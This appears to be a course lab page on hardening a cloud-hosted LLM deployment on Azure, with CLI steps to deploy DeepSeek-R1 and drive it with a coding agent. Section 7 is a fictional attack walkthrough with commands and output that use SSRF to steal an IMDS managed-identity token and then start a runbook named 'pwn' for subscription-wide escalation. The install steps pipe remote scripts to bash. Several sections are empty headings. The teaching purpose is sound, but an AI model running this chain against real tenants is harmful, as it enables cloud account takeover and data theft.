Secure deployment · cloud

Cloud-managed serving is the most common production deployment pattern for large-language-model (LLM) applications today, and the most common misunderstood deployment pattern. The cloud documentation says "we handle everything"; the audit log says you misconfigured identity and access management (IAM) in week one. This lab makes the line explicit so you can defend the parts that are actually yours.

The promise of a managed cloud platform — Google's Vertex AI, Microsoft's Azure AI Foundry, Amazon's Bedrock + SageMaker — is that you trade operational complexity for monthly billing. The promise is real and the trade-off is real. What the marketing pages tend to skip is the shared-responsibility model: who is on the hook for which layer of the stack. In April 2024 the NSA, the Cybersecurity and Infrastructure Security Agency (CISA), and five allied cyber agencies jointly published the most authoritative current answer to that question; it's the spine of this lab.

Cloud and identity vocabulary appears throughout: Entra ID, managed identity, IMDS, Key Vault / KMS, RBAC, private endpoint. Every term underlined like this is hoverable: an explainer opens directly below the line you're reading, pushing the rest of the page down — nothing gets covered.

Where to find it

• NSA / CISA joint guidance — the authoritative 2024 doc. media.defense.gov.
• Vertex AI — Google's managed machine-learning (ML) platform (Model Garden, endpoints, agent builder). cloud.google.com/vertex-ai.
• Azure AI Foundry — Microsoft's umbrella platform (was Azure ML + Azure OpenAI + Cognitive Services). learn.microsoft.com/azure/ai-studio.
• AWS Bedrock + SageMaker — Amazon's managed-model service + ML platform. docs.aws.amazon.com/bedrock.
• A paid Azure subscription — pay-as-you-go, set up with a payment method and a spend budget. A prepaid debit card is ideal for a lab: its loaded balance is a hard ceiling Azure can never exceed. This is the account the hands-on uses. azure.microsoft.com/…/pay-as-you-go.
• DeepSeek-R1 — DeepSeek's MIT-licensed open-weights frontier model: strong at code, supports tool-calling (so agents can drive it), and hosted on Azure as a sold-by-Azure serverless offer — the cleanest CLI deploy. deepseek.com · weights on Hugging Face.
• Deep Agents Code (dcode) — LangChain's open-source terminal coding agent, built on the deepagents software development kit (SDK). docs.langchain.com/…/deepagents/code.

1 · Why cloud-managed?

Three honest reasons, in order of how often they matter:

1. You can't get GPUs. The hyperscalers have them; you don't. For most graduate research and most production launches in 2026, managed inference is the only way to access H100/H200/B200-class hardware in under three months.
2. Compliance becomes a config flag. SOC 2, HIPAA, FedRAMP, GDPR data-residency — the platforms have spent years getting their underlying infrastructure certified. You inherit the certifications by deploying into the right region with the right service flags.
3. Operational complexity gets amortized. Autoscaling, multi-region failover, model-version-pinned rollouts, audit logging — the platforms ship these as primitives. Your team-of-one doesn't have to build them.

And three honest reasons the trade-off goes the other way:

1. Per-request pricing. At scale, managed inference is dramatically more expensive than self-hosted. Crossover point is typically 10–100M requests/month.
2. Data residency you don't fully control. Even "your data in your region," the platform's logs, debug artifacts, and abuse-prevention systems may touch your data outside your view.
3. Lock-in. Vertex's agent framework is not portable to Bedrock. Foundry's content filter is not exposed elsewhere. The convenience comes with a vendor.

2 · The Azure AI stack · one service per security job

This lab builds on Azure, so here's the toolbox you'll actually touch, mapped to the security job each service does and the one thing you configure. Every row is a layer from the Lab 12 stack that the shared-responsibility line hands to you.

Google's Vertex AI and AWS Bedrock + SageMaker have an equivalent for every row — Workload Identity vs. managed identity, virtual private cloud (VPC) Service Controls vs. Private Endpoints, Cloud KMS vs. Key Vault. The concepts transfer cleanly; the names, the APIs, and the default-on/off states don't. The rest of this lab is Azure-specific on purpose — you learn the shape of one production cloud in depth rather than three in outline.

3 · The NSA joint guidance · seven principles

In April 2024 the NSA, CISA, FBI, and the cyber agencies of Australia, Canada, New Zealand, and the UK jointly published Deploying AI Systems Securely. It's 19 pages, vendor-neutral, and the most authoritative current statement of what a hardened deployment looks like. The seven themes, compressed:

1. Inherit a secure deployment environment — don't harden a deployment after the fact; deploy it into a foundation that is already hardened. That foundation is a landing zone: a pre-built, pre-secured cloud environment (identity, networking, logging, and guardrails already wired up) that new workloads drop into. You keep it hardened with baseline policies — rules the platform auto-enforces, like Azure Policy denying a public IP address or requiring encryption — checked against a published standard such as the CIS Benchmarks (the Center for Internet Security's freely-published, consensus list of secure configuration settings for a given platform). And the paved road is the platform team's pre-approved, secure-by-default template for deploying, so that doing the secure thing is also the easy thing — you don't have to reinvent (and forget) the security controls each time.
2. Continuously protect the artificial-intelligence (AI) system — model and weights at rest (encrypted via a KMS, a key management service), in transit (Transport Layer Security (TLS) 1.3, mutual TLS (mTLS) for internal), and in use (a trusted execution environment, TEE, for the highest-stakes workloads).
3. Secure exposed APIs (application programming interfaces) — strong authentication (workload identity, not static keys), input validation, rate limiting, output filtering.
4. Actively monitor model behaviour — anomaly detection on query distributions, drift detection, output classifier verdicts logged and reviewed.
5. Protect model weights — provenance, integrity checks, access control on training datasets and fine-tuned variants. Treat weights as crown-jewel IP.
6. Enforce strict access controls — IAM least-privilege, no broad service accounts, time-bound elevation, separation of duties.
7. Conduct ongoing testing — red-team exercises, adversarial robustness tests, supply-chain audits. Not just at launch — continuously.

None of these are surprising. The value of the document is that seven cyber agencies wrote them down together, which makes it the right artifact to cite in your security review meeting when someone asks "is this safe enough?" The answer becomes a checklist, not a vibe.

4 · Shared responsibility, written out

The try-it widget at the top of the page is the canonical reference for this section. In prose: with managed inference (the middle position in the widget), the cloud owns the bottom of the component stack from Lab 12 (hardware, inference runtime, the inference server) and you own the top (your API gateway, application logic, identity, observability config). Three layers in between are explicitly shared — model weights, network, and observability — where each side has a distinct job and the breach usually happens in the seam. Click through the widget layer by layer to see exactly who owns what. Two specific responsibilities people get wrong:

5 · Hands-on · deploy DeepSeek-R1 on Azure and drive it with a coding agent ~75 min

You're going to build a self-hosted, open-source Claude Code: a local coding agent (Deep Agents Code, dcode) driven by a frontier model you run yourself (DeepSeek-R1) on infrastructure you rent. The agent lives on your laptop; the model lives on Azure. Everything — signup aside — happens from the terminal, so you see what a production deployment actually looks like from the operator's chair, not a portal's happy path.

5.1 Set up your Azure subscription (CLI, a paid plan, and a budget)

Create the subscription in the browser once — a pay-as-you-go plan with a prepaid debit card as the payment method and a budget set (both covered below) — then do everything else from the terminal.

Install the Azure CLI if you don't have az yet:

• macOS: brew install azure-cli
• Windows: winget install -e --id Microsoft.AzureCLI (or the MSI installer)
• Linux (Debian/Ubuntu): curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash — other distros

Then add the ML extension and check the version:

az extension add -n ml            # or: az extension update -n ml  (to refresh it)
az version                        # azure-cli 2.70+ recommended

Sign in. az login opens a browser for the Entra sign-in and caches a token every later command reuses. On a headless or SSH box where no browser can open, use the device-code flow:

az login                          # opens a browser → Microsoft Entra ID sign-in
az login --use-device-code        # headless / remote alternative

Pick — and verify — the subscription. You may have more than one (a university or personal subscription and your lab subscription). List them, set the one you intend to spend on by name or id, and confirm you landed on it:

az account list -o table                              # every subscription you can see
az account set --subscription "DS6042 Lab"            # or: --subscription <id>
az account show --query "{name:name, state:state, user:user.name}" -o table

$ az account show --query "{name:name, state:state, user:user.name}" -o table
Name         State    User
-----------  -------  ------------------
DS6042 Lab   Enabled  you@virginia.edu

# authoritative check — does Azure Resource Manager (ARM) actually return this subscription?
az account subscription list --query "[].{name:displayName, state:state}" -o table
# simplest smoke test — can you list resource groups in it?
az group list -o table

az account list --refresh -o table    # re-pulls the list using your current token

Create the pay-as-you-go subscription. If you don't have one yet, add it from Subscriptions → + Add: the wizard's Basics tab picks your billing account and the Microsoft Azure Plan, you attach your prepaid debit card as the payment method, and its Budget tab sets a spend alert in the same flow. Pay-as-you-go is what enables serverless deployments and lifts the low default rate limits.

That user.name is your Entra ID — the same identity that will authorize the deployment, own the endpoint's keys, and appear in every audit-log line. This is workload/user identity, not a static key: principle #3 and #6 of the NSA list, satisfied before you deploy anything.

5.2 Stand up the Foundry project

A Foundry project is an Azure ML workspace with a model catalog attached. Create the resource group, register the resource providers a brand-new subscription needs, create the workspace, then set CLI defaults so later commands don't repeat them.

az extension add -n ml                # once; 'az extension update -n ml' to refresh
az group create -n ds6042-lab13 -l eastus2

# On a NEW subscription these providers start unregistered. Register them first, or
# 'az ml workspace create' fails with MissingSubscriptionRegistration.
for ns in Microsoft.MachineLearningServices Microsoft.Storage Microsoft.KeyVault \
          Microsoft.ContainerRegistry Microsoft.Insights Microsoft.CognitiveServices; do
  az provider register --namespace $ns
done
# registration is async (1-3 min); wait until this prints 'Registered':
az provider show -n Microsoft.MachineLearningServices --query registrationState -o tsv

az ml workspace create -n ds6042-foundry -g ds6042-lab13 -l eastus2   # ~3-5 min

# make these the defaults for every 'az ml' command below
az configure --defaults group=ds6042-lab13 workspace=ds6042-foundry location=eastus2

az extension add -n ml                # once; 'az extension update -n ml' to refresh
az group create -n ds6042-lab13 -l eastus2

# On a NEW subscription these providers start unregistered. Register them first, or
# 'az ml workspace create' fails with MissingSubscriptionRegistration.
$providers = "Microsoft.MachineLearningServices","Microsoft.Storage","Microsoft.KeyVault",
             "Microsoft.ContainerRegistry","Microsoft.Insights","Microsoft.CognitiveServices"
foreach ($ns in $providers) { az provider register --namespace $ns }

# registration is async (1-3 min); wait until this prints 'Registered':
az provider show -n Microsoft.MachineLearningServices --query registrationState -o tsv

az ml workspace create -n ds6042-foundry -g ds6042-lab13 -l eastus2   # ~3-5 min

# make these the defaults for every 'az ml' command below
az configure --defaults group=ds6042-lab13 workspace=ds6042-foundry location=eastus2

5.3 Deploy DeepSeek-R1 from the model catalog

DeepSeek-R1 is an open-weights (MIT-licensed) frontier reasoning model that's strong at code, and Azure hosts it as a "sold by Azure" serverless offering — the cleanest possible deploy: no Marketplace subscription, just an endpoint. We deployed exactly this end-to-end while writing the lab (create → smoke test → teardown), so the commands below are the ones that actually worked. Confirm the Model ID first:

az ml model show --name DeepSeek-R1 --registry-name azureml-deepseek --query id -o tsv
# → azureml://registries/azureml-deepseek/models/DeepSeek-R1/versions/N

Drop the trailing /versions/N (serverless always deploys the latest) and put the Model ID in an endpoint spec:

endpoint.yml

name: deepseek-r1-lab13
model_id: azureml://registries/azureml-deepseek/models/DeepSeek-R1

# DeepSeek is "sold by Azure" → deploy straight to a serverless endpoint, no subscription step.
az ml serverless-endpoint create -f endpoint.yml            # ~2-5 min
az ml serverless-endpoint show -n deepseek-r1-lab13 --query provisioning_state -o tsv   # → Succeeded

# the endpoint URL (the "Target URI") lives on the endpoint object:
az ml serverless-endpoint show -n deepseek-r1-lab13 --query scoring_uri -o tsv
# → https://deepseek-r1-lab13.<region>.models.ai.azure.com

# the API keys come from a SEPARATE call (two keys, so you can rotate one at a time):
az ml serverless-endpoint get-credentials -n deepseek-r1-lab13
# → { "primaryKey": "abcd… (32 chars)", "secondaryKey": "efgh… (32 chars)" }

Between the two calls you now have the pair every later step needs: the Target URI (from show — the endpoint's HTTPS address, speaking the OpenAI-compatible Azure AI Model Inference API) and a bearer key (from get-credentials — use primaryKey). Two things are already true and load-bearing: the endpoint is key-authenticated (no anonymous calls) and content filtering is on by default (Azure AI Content Safety screens prompts and responses). Treat that key like a password — on its own it lets anyone call your model, bill your subscription, and (until §6) bypass every other control. §5.4 captures both straight into environment variables so you never paste the key into a file.

# only for a partner/Marketplace model — subscription.yml carries the same name + model_id
az ml marketplace-subscription create -f subscription.yml
az ml serverless-endpoint create -f endpoint.yml

5.4 Smoke-test the endpoint

Capture the URI and key straight from the CLI into environment variables — no copy-paste, no guessing the hostname, and the key never touches a file:

# the endpoint's base URL:
export DEEPSEEK_ENDPOINT=$(az ml serverless-endpoint show -n deepseek-r1-lab13 --query scoring_uri -o tsv)
# the bearer key (primaryKey field of get-credentials):
export DEEPSEEK_KEY=$(az ml serverless-endpoint get-credentials -n deepseek-r1-lab13 --query primaryKey -o tsv)
echo "endpoint: $DEEPSEEK_ENDPOINT"     # sanity check → https://…models.ai.azure.com

Then hit the OpenAI-compatible route. Any OpenAI client library works unchanged — that's the whole point of a compatible API.

curl "$DEEPSEEK_ENDPOINT/v1/chat/completions" \
  -H "Authorization: Bearer $DEEPSEEK_KEY" \
  -H "Content-Type: application/json" \
  -d '{"model":"DeepSeek-R1",
       "messages":[{"role":"user","content":"Write a Python one-liner that reverses a string."}],
       "max_tokens":2048}'

5.5 Hook it to Deep Agents Code (dcode)

dcode is LangChain's terminal coding agent: it plans, reads and edits files, runs shell commands, and spawns subagents — driven by whatever model you point it at. We point it at your DeepSeek-R1 endpoint. Because the endpoint is OpenAI-compatible, the agent treats it as an OpenAI model with a custom base URL and key.

It's one of several terminal coding agents that all do roughly the same job — plan, edit files, run your shell. What separates them for this lab is one question: can you point the agent at the model you host? That comes down to the wire format the agent expects a custom endpoint to speak, because your §5.4 endpoint talks the OpenAI Chat Completions API.

Why the lab uses dcode: it and opencode speak OpenAI Chat Completions, so they attach to your Azure endpoint with just the base URL and key from §5.4. Claude Code expects the Anthropic Messages API and Codex expects the OpenAI Responses API, so pointing those at a Chat-Completions endpoint means running a translating gateway (like LiteLLM) in between. Same agent capabilities — different plumbing, and the plumbing is the lesson: "OpenAI-compatible" is not one thing, so always check which API surface a client expects before you assume your endpoint drops in.

The SDK path (fully explicit, recommended for the lab). Build the model object yourself so the base URL, key, and model name are unambiguous:

# agent.py — DeepSeek-R1 on Azure, driving a coding deep agent
import os
from deepagents import create_deep_agent
from langchain_openai import ChatOpenAI

deepseek = ChatOpenAI(
    base_url=os.environ["DEEPSEEK_ENDPOINT"] + "/v1",   # your Azure Target URI
    api_key=os.environ["DEEPSEEK_KEY"],                 # the endpoint's primary key
    model="DeepSeek-R1",
    temperature=0,
)

# create_deep_agent ships filesystem tools (ls/read_file/write_file/edit_file/glob/grep),
# a shell 'execute' tool, task-planning (write_todos), and subagents (task).
agent = create_deep_agent(
    model=deepseek,
    system_prompt="You are a careful coding agent. Explain before you run shell commands.",
)

result = agent.invoke({"messages": [
    {"role": "user", "content": "Create fizzbuzz.py and run it for n=1..15."}
]})
print(result["messages"][-1].content)

pip install deepagents langchain-openai
python agent.py

The CLI path (the dcode binary). Same endpoint, driven interactively. Install it, expose the Azure endpoint through the OpenAI-compatible environment variables, and select the model with the provider:model syntax:

curl -LsSf https://langch.in/dcode | bash        # installs the dcode CLI

export OPENAI_BASE_URL="$DEEPSEEK_ENDPOINT/v1"         # point 'openai' provider at Azure
export OPENAI_API_KEY="$DEEPSEEK_KEY"

dcode --model openai:DeepSeek-R1                      # interactive coding session
dcode --model openai:DeepSeek-R1 -n "Add a --json flag to cli.py and update the README"

5.6 Audit logging · Azure Monitor

Diagnostic settings attach to the workspace (that's the resource that emits the model deploy/read/inferencing events — we confirmed the categories with az monitor diagnostic-settings categories list), and stream them to a Log Analytics workspace you can query with KQL. Answer "who called the model, when" the same day-one way §8 asks for.

az monitor log-analytics workspace create -g ds6042-lab13 -n ds6042-logs

# (optional) see exactly which log categories the workspace offers:
az monitor diagnostic-settings categories list \
  --resource $(az ml workspace show -n ds6042-foundry --query id -o tsv) -o table

# stream all workspace diagnostics (model + deployment + inferencing events) to Log Analytics
az monitor diagnostic-settings create \
  --name deepseek-audit \
  --resource $(az ml workspace show -n ds6042-foundry --query id -o tsv) \
  --workspace ds6042-logs \
  --logs '[{"categoryGroup":"allLogs","enabled":true}]'

// KQL — recent Azure ML activity, newest first (field names vary by category;
// run a bare 'AzureDiagnostics | take 50' first to see the columns your events carry)
AzureDiagnostics
| where ResourceProvider == "MICROSOFT.MACHINELEARNINGSERVICES"
| where TimeGenerated > ago(24h)
| project TimeGenerated, OperationName, Category, CallerIPAddress
| order by TimeGenerated desc

Now the endpoint is authenticated, content-filtered, and audited; the agent driving it has an approval gate; and every request lands in a warehouse you can SQL. That is the NSA checklist, satisfied from the command line.

5.7 Tear it down (do this — it's how you stop the bill)

Cloud resources bill until you delete them. A serverless endpoint only bills per token, but the workspace's storage, Key Vault, and any managed-compute VM keep costing money while they exist. When you're done for the day, delete the endpoint (and its Marketplace subscription); when you're done with the lab, delete the whole resource group in one shot.

# stop token billing: delete the endpoint (DeepSeek is sold-by-Azure, no subscription to remove).
# NOTE: 'serverless-endpoint delete' has NO --yes flag; it deletes without a prompt.
az ml serverless-endpoint delete -n deepseek-r1-lab13 --no-wait
# only if you deployed a PARTNER model and created a Marketplace subscription:
# az ml marketplace-subscription delete -n <sub-name>

# nuke everything from this lab at once (irreversible — deletes the whole group)
az group delete -n ds6042-lab13 --yes --no-wait

# confirm it's gone
az group exists -n ds6042-lab13        # → false once the delete finishes

6 · Hardening · the NSA checklist on this deployment

Going back to the seven principles in §3, here's how each maps to specific Azure configuration for the DeepSeek-R1 + dcode deployment — plus one row the NSA list predates: constraining the agent that now holds your endpoint key.

7 · Real-world attack chain · Azure managed-identity escalation, SSRF to subscription-wide ~45 min

The NSA-aligned hardening in §6 covers the deployment you ship. What it does not cover is what a real engagement looks like when an attacker chains misconfigurations across Azure services. This section walks one such chain end-to-end. The vehicle is a fictional MegaCorpAI / St. Hubbins consulting engagement; the techniques map to incidents Wiz, Orca, and MSRC have published against real Azure-hosted ML platforms in 2024–2026.

The chain has six steps: SSRF in a public web app → the VM's managed-identity token from IMDS → an over-broad custom RBAC role → an Automation Account whose identity is Contributor at the subscription → five Azure services leaking secrets → a self-hosted DeepSeek/vLLM VM anyone on the internet can hit. Every step maps to something on the NSA seven-principles checklist (§3) — sometimes by violating it, sometimes by being scoped too broadly to matter.

7.1 Foothold · SSRF on the patient-portal VM (NSA #2 · Validate input)

The patient portal runs on an Azure VM and has an /api/export?template_url=... endpoint that fetches a URL server-side and renders the report. Classic Server-Side Request Forgery (SSRF). On Azure, the crown jewel an SSRF reaches is the Instance Metadata Service (IMDS) at the link-local address 169.254.169.254 — every VM's managed-identity token lives one HTTP request away. Azure's only guard is a required Metadata: true header (there is no AWS-IMDSv2-style session token), so an SSRF that forwards a header, or an app whose HTTP client adds none that conflict, walks right in:

kali@kali:~$ curl -s -H "Metadata: true" "https://portal.sthubbins.health/api/export?template_url=\
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01%26resource=https://management.azure.com/"
{"access_token":"eyJ0eXAiOiJKV1Qi...", "resource":"https://management.azure.com/",
 "token_type":"Bearer", "client_id":"a1b2c3d4-...", "expires_in":"86399"}
kali@kali:~$ # decode the JWT payload to learn WHO this token is
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '{oid, appid, xms_mirid}'
{"oid":"77e0...","xms_mirid":".../patient-portal-vm","appid":"a1b2c3d4-..."}

SSRF returned a short-lived managed-identity token (a JWT, a JSON Web Token) for the Azure Resource Manager (ARM) management plane — no static key needed. The xms_mirid claim names the identity: the patient-portal-vm's system-assigned identity. It's short-lived, but it inherits whatever RBAC that VM was granted, and it will happily talk to management.azure.com.

7.2 First hop · what the VM's identity can actually do (NSA #5 · Least privilege)

Authenticate the CLI with the stolen token and enumerate. The VM identity has a custom role scoped to the resource group — reasonable-looking. But two entries give away the next hop:

$ az role assignment list --assignee 77e0... --all \
  --query "[].{role:roleDefinitionName, scope:scope}" -o table
Role              Scope
----------------  ------------------------------------------------
portal-app-role   /subscriptions/…/resourceGroups/sthubbins-rg
$ # the role definition — most of it is tight, two lines are not

{
  "roleName": "portal-app-role",
  "assignableScopes": ["/subscriptions/…/resourceGroups/sthubbins-rg"],
  "permissions": [{
    "actions": [
      "Microsoft.Resources/subscriptions/resourceGroups/read",
      "Microsoft.Storage/storageAccounts/listKeys/action",       // ← account-key theft, unscoped
      "Microsoft.Automation/automationAccounts/read",
      "Microsoft.Automation/automationAccounts/jobs/write"        // ← can start runbooks
    ]
  }]
}

listKeys hands over storage account keys (§7.4). But the escalation is automationAccounts/jobs/write: the identity can start a runbook, and runbooks execute as the Automation Account's own managed identity — a different, and as it turns out far broader, identity.

7.3 Second hop · the Automation Account's Contributor identity (NSA #5 · the built-in-role trap)

The mlops-automation Automation Account exists to run nightly retraining jobs. Someone gave its system-assigned identity the built-in Contributor role — assigned at the subscription scope, "so the runbooks don't fail." That single assignment is the entire bug. We publish a one-line runbook that grabs a token and runs as that identity:

$ az automation runbook create -g sthubbins-rg --automation-account-name mlops-automation \
  -n pwn --type PowerShell
$ az automation runbook replace-content ... --content 'Connect-AzAccount -Identity; Get-AzSubscription'
$ az automation runbook start -g sthubbins-rg --automation-account-name mlops-automation -n pwn
# the job runs as mlops-automation's identity — now check what THAT can do
$ az role assignment list --assignee <automation-mi-oid> --all -o table
Role         Scope
-----------  -------------------------------
Contributor  /subscriptions/8f2a…            

# the moment of accidental cross-team access — resources from other clients appear
$ az resource list --query "[].resourceGroup" -o tsv | sort -u
rainyday-risk-rg        # a completely different client
sthubbins-rg            # ours
tapheads-fraud-rg       # another client

7.4 Secrets sprawl · five Azure services (NSA #4 · Encrypt + #6 · Logging)

With subscription-wide write we go shopping for credentials. ML pipelines fragment secrets across services because each integration ("write to blob," "read a connection string," "log a run") needs its own touch-point. Each row below is a real Azure pattern; they generalize.

The recurring lesson: ML workflows scatter secrets across services without centralized secret management. Each service becomes another hiding place; defenders chase them service-by-service while attackers enumerate them in a morning. The fix is one secret store (Azure Key Vault with RBAC, not legacy access policies), short-lived issued credentials, purge of old versions, and an aggressive ban on plaintext everywhere else — App Configuration Key Vault references, encrypted Automation variables, no secrets in image ENV.

7.5 The internet-exposed model (NSA #3 · Restrict network access)

Instead of the hardened serverless endpoint from §5, a hurried team self-hosted DeepSeek-R1 on a raw GPU VM running vLLM. Contributor lets us enumerate compute and its network rules:

$ az vm list -d --query "[?publicIps!=''].{name:name, ip:publicIps, size:hardwareProfile.vmSize}" -o table
Name           Ip              Size
-------------  --------------  -----------------
deepseek-vllm-vm    20.85.123.45    Standard_NC24ads_A100_v4
$ az network nsg rule list --nsg-name deepseek-vllm-nsg -g sthubbins-rg \
  --query "[?access=='Allow'].{name:name, port:destinationPortRange, src:sourceAddressPrefix}" -o table
Name        Port   Src
----------  -----  --------
ssh         22     Internet
vllm-api    8000   Internet      <-- the model, open to the world
$ curl -s http://20.85.123.45:8000/v1/models | jq -r '.data[].id'
deepseek-ai/DeepSeek-R1

An A100 VM running vLLM with port 8000 open to Internet (Azure's name for 0.0.0.0/0) and no authentication. Any internet user queries the model directly — bypassing the serverless endpoint's key auth, its Content Safety filter, the RBAC, and every audit log Azure would have written for an authorized call. This is the §4 lesson made operational: the gateway is not the model server.

7.6 What the chain looked like, end to end

8 · Best practices

9 · Anti-patterns

FAQ

Why Azure for this lab?

Because Azure AI Foundry has the deepest enterprise-identity integration (Entra) — which makes the identity and RBAC lessons concrete — and it deploys DeepSeek-R1 serverless straight from the CLI. Vertex and Bedrock are operationally equivalent for this material; if your account is elsewhere, the concepts in §2 transfer, but the exact CLI commands won't. Learn one cloud in depth here.

What if my team is on-prem only?

Same patterns, different primitives: replace Identity-Aware Proxy (IAP) with OpenID Connect (OIDC) + an authenticating reverse proxy, replace IAM with Kerberos/RBAC, replace BigQuery with Splunk/Elastic. The seven NSA principles all apply.

What's the cheapest production-realistic deployment?

Azure Foundry serverless DeepSeek-R1 (pay-per-token, no VM to keep running) behind the default content filter, audited to Log Analytics. If your subscription can't use serverless yet, managed compute on the smallest GPU SKU works — just scale it to zero or delete the endpoint the moment you're done, or the running VM quietly burns your budget.

Is DeepSeek-R1 really deployable from the CLI?

Yes — we deployed it end-to-end while writing this lab. Its Model ID resolves in the azureml-deepseek registry, and it's sold by Azure, so az ml serverless-endpoint create stands up a key-authed endpoint with no Marketplace subscription step. The one variable is region: serverless availability differs by region (a sibling model, DeepSeek-V3.1, returned ServerlessModelNotAvailable in our region while R1 deployed cleanly). If create reports the model unavailable, recreate the workspace in a supported region or use managed compute. Want a different model? Any serverless catalog entry works — swap the model_id; the agent and audit wiring are identical.

Is it safe to let dcode run my shell with a self-hosted model?

Only with the guardrails on. The model being yours doesn't make its output trustworthy — a prompt-injected file or a hallucinated command is just as dangerous from DeepSeek-R1 as from any model. Keep dcode's approval gates enabled, scope its tools, and run anything touching untrusted input in a remote sandbox. See the §5.5 callout and hardening row 8.

Does this work with Claude / Gemini / GPT directly (no open-weights)?

Yes. Replace §5.3 with a managed-model API call (no GPU SKU, no Marketplace subscription). Everything else — Entra auth, content safety, audit logs, the dcode wiring, the threat model — is identical. The shared-responsibility line in the try-it widget shifts to the "SaaS API" position, but the layers you own are the same.